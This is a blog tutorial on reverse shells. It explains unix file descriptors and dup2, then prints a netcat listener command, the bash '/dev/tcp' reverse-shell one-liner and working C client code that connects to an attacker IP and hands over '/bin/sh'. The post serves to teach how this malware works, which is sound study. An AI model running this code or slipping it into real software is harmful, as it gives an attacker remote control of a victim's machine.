Reverse Shell Magic

Recreating a common exploit with C Sockets

December 15, 2024

Today I want to explore some malware, more specifically a very basic program known as a reverse shell. Programs like these allow an attacker to access and control a victim's device through a single TCP connection and serve as the foundation for even more malicious programs like Remote Access Trojans (RATs). A reverse shell is incredibly easy to set up. We can create one with two lines using built-in unix commands:

On the attacker machine start a netcat server:

$ nc -nlvp 4444

On victim machine run the following command:

$ bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

Once the second command executes the attacker will be launched into an interactive shell inside the victims device. Very cool... but how does this work? To understand the command above, we've got to go back to how unix uses files over internet connections.

Files and unix redirections

In an earlier post I explored the idea that in UNIX systems everything is a file. When a process is initiated it gets its own file descriptor table, which is just a list of integers that describe what files it has open. By default, process have three initial entries:

Value Name
0 stdin
1 stdout
2 stderr

These files are known as standard streams, which are preconfigured I/O connections. In the case of the terminal program you're likely running when executing the commands above, stdin would access a stream to a keyboard and stdout/stderr access the display. We can use the to redirect these streams. For example:

echo "foo" > bar

The built-in unix > symbol directs the stdout stream to the bar file. The output of echo "foo" is simply "foo", which is then directed to the bar file. These unix shorthands are very useful and succinct, but let's get a little more verbose and require the command in C. Our program will do the following:

  1. Create the bar file. The OS will assign the file descriptor of 3 to this file. This is easy with the open call:
char *filename = "bar";
int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644);
  1. Redirect stdout to the file descriptor of bar. We can do this with the dup2 call.
int dup2(int oldfd, int newfd);

The dup system calls manipulate, duplicate, and create aliases of file descriptors. From LPI:

The dup2() system call makes a duplicate file descriptor given in oldfd using the descriptor number supplied in newfd. (97)

So, lets duplicate the file descriptor for stdout for the fd of the bar file:

dup2(fd, STDOUT_FILENO);
  1. Finally we can write to stdout
char *message = "foo";
write(STDOUT_FILENO, message, strlen(message));

After compiling and executing our program we can see the string foo printed to a bar file:

$ gcc dup.c
$ ./a.out
$ cat bar
foo

Ok, admittedly not very exciting... let's do something with the internet!

Network sockets and file descriptors

Sockets are abstracted software structures that allow inter-process communication across networks. They rely on transport layer protocols like TCP and UDP to deliver data streams between hosts, utilizing network ports. Processes read and write to sockets just as they would to files. In other words, when we define a socket, we get back a file descriptor from the OS and can perform the same file-related system calls on the socket (dup, read, write, close, etc).

For our reverse shell program, we'll use TCP because this ensures reliable packet delivery. We need to define a socket on each end of the network connection -- one for the server and one for the client. In reverse shell exploits, the attacker runs the server, while the victim (unknowingly) executes the client. In our client, we'll initiate the socket, specifying TCP with IPv4 addressing:

#include <sys/socket.h>

int main {
	int socketfd = socket(AF_INET, SOCK_STREAM, 0);
	printf("Socket file descriptor: %d", socketfd);
	return 0;
}

Then, we'll initiate a connection to the attacker's server. We'll have to define a specific struct for the remote server's address:

int PORT = 4444;
struct sockaddr_in server_address;
server_address.sin_family = AF_INET;
server_address.sin_port = htons(PORT);
server_address.sin_addr.s_addr = inet_addr("<Attacker IP>");
int connection = connect(socketfd, (struct sockaddr *)&server_address, sizeof(server_address));

If our connection is successful, this means we've reached the server and have completed the TCP 3-way handshake and can now exchange information. Ok now for the fun part...

Recreating the reverse shell

Remember the dup2 system called we used to duplicate the file descriptor of an arbitrary text file? Since the OS treats the socket as a file, we can use the same function on the socket, but instead of just redirecting standard output to the file, we'll also redirect stdin and stderr. This means that whatever is inputted by the server into the socket at their end will be directed as stdin into the victims shell. Output that prints to the terminal (stderr and stdout) will instead by redirected to the socket.

dup2(socketfd, STDIN_FILENO);
dup2(socketfd, STDOUT_FILENO);
dup2(socketfd, STDERR_FILENO);

Once this bidirectional communication is established, we execute a shell in the client (i.e. victim) program:

char *const shell_argv[] = {"/bin/sh", NULL};
execve("/bin/sh", shell_argv, NULL);

Because we've redirected the standard streams to the server socket, text from the attacker will be treated as valid input in the shell program. Similarly, any output from the shell will direct to the socket, which will be displayed in the attacker's terminal. Find the full code here.

Lastly, let's look back at our initial command we ran on the victim's machine:

$ bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

Similar to the > shorthand >& redirects stderr to the same file descriptor as stdout. The 0>&1 shorthand, directs stdin to the same location as stdout. In both these cases, the standard streams are directed to the file /dev/tcp/<attacker-ip>/4444. This is a pseudo device provided by bash. It basically opens a socket connection to the provided IP and port, simplifying the work we did in our C client socket program.

Building blocks to more invasive programs

Reverse shells can form part of a more sophisticated RAT, adding functionality like keyloggers, GUIs, file managers, and even webcam access. But this demonstration shows that even running one command can be devastating for the victim.

Furthermore, what's missing here is an explanation of how a victim would actually mistakingly run a program like the one we wrote here. There are a variety of methods an attacker might use, for example embedding a bash command into a software update script, but I won't get into further detail in this post.